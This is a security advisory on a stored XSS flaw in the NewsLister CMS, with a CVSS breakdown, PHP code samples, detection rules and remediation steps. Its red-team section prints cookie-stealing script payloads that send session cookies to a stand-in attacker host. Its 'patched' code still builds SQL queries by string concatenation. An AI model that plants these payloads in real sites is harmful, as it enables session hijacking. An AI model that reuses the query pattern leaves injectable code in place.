CVE-2020-37236

Executive Summary

CVE-2020-37236 is an authenticated persistent cross-site scripting (XSS) vulnerability in NewsLister, a content management system for news aggregation. An authenticated administrator can inject arbitrary JavaScript into the title parameter of the news addition interface. When other users view the crafted news item, the payload executes in their browser, leading to session hijacking, credential theft, or further compromise. The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for internal deployments.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP-based CMS (Newslister). No supply chain attack vector is present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (admin)
• User Interaction: Required (victim views news item)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Medium. Exploitation requires admin credentials, but once injected, the payload affects all viewers, including lower-privileged users.

Deep Dive & Mechanics

The vulnerability resides in the news addition interface of NewsLister. The title parameter is not sanitized or encoded before being stored in the database and later rendered in the browser. An authenticated admin can submit a news item with a title containing malicious JavaScript, e.g., <script>alert('XSS')</script>. When any user (including other admins or regular visitors) views the news list or detail page, the script executes in their session context.

The lack of output encoding in the template engine (likely PHP with direct echo) allows the injected script to be interpreted as HTML/JavaScript. This is a classic stored XSS (CWE-79) with high impact due to the trust level of the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In news addition handler
$title = $_POST['title'];
$query = "INSERT INTO news (title, content) VALUES ('$title', '$content')";
mysqli_query($conn, $query);

// In news display
echo "<h2>" . $row['title'] . "</h2>";

Patched Code (hypothetical):

// Sanitize input
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO news (title, content) VALUES ('$title', '$content')";
mysqli_query($conn, $query);

// Output encoding
echo "<h2>" . htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') . "</h2>";

No official patch exists. The fix requires input validation and output encoding.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid admin credentials for NewsLister.
• Network access to the admin panel (e.g., /admin/news_add.php).

Exploit Steps:

1. Log in as admin.
2. Navigate to the news addition page.
3. Inject payload in the title field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the news item.
5. When any user views the news, the script exfiltrates their session cookie.

Example Payload (session hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

No Exploit-DB code provided.

Blue Team

Detection:

• Monitor admin panel logs for unusual title field submissions containing <script> tags.
• Use WAF rules to block XSS patterns in POST parameters.
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search database for stored XSS payloads in the news table.
• Review web server logs for requests to external domains from the application.

Indicators of Compromise (IOCs)

• Network:

  • Outbound HTTP requests to attacker-controlled domains from the NewsLister server.
  • Suspicious Referer headers containing admin panel URLs.

• Host:

  • Database entries in news table with title containing <script> tags.
  • Web server logs showing POST requests to /admin/news_add.php with encoded JavaScript.

• File:

  • No file-based IOCs; vulnerability is purely in application logic.

Detection Engineering

YARA Rule

rule NewsLister_Stored_XSS_CVE_2020_37236 {
    meta:
        description = "Detects stored XSS payloads in NewsLister news titles"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2020-37236"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: NewsLister Stored XSS via Title Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in NewsLister news title submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/admin/news_add.php'
        cs-params|contains: 
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-37236 NewsLister Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/news_add.php"; http_uri; content:"title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin panel access to trusted IPs only.
2. Implement a Web Application Firewall (WAF) with XSS rules.
3. Manually sanitize the title parameter in the codebase using htmlspecialchars().

Long-term Fix:

• Upgrade to a patched version if the vendor releases one.
• Migrate to a supported CMS if NewsLister remains unmaintained.

Compensating Controls:

• Enforce Content Security Policy (CSP) with script-src 'self'.
• Use HTTPOnly and Secure flags for session cookies.
• Conduct regular code reviews and penetration testing.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert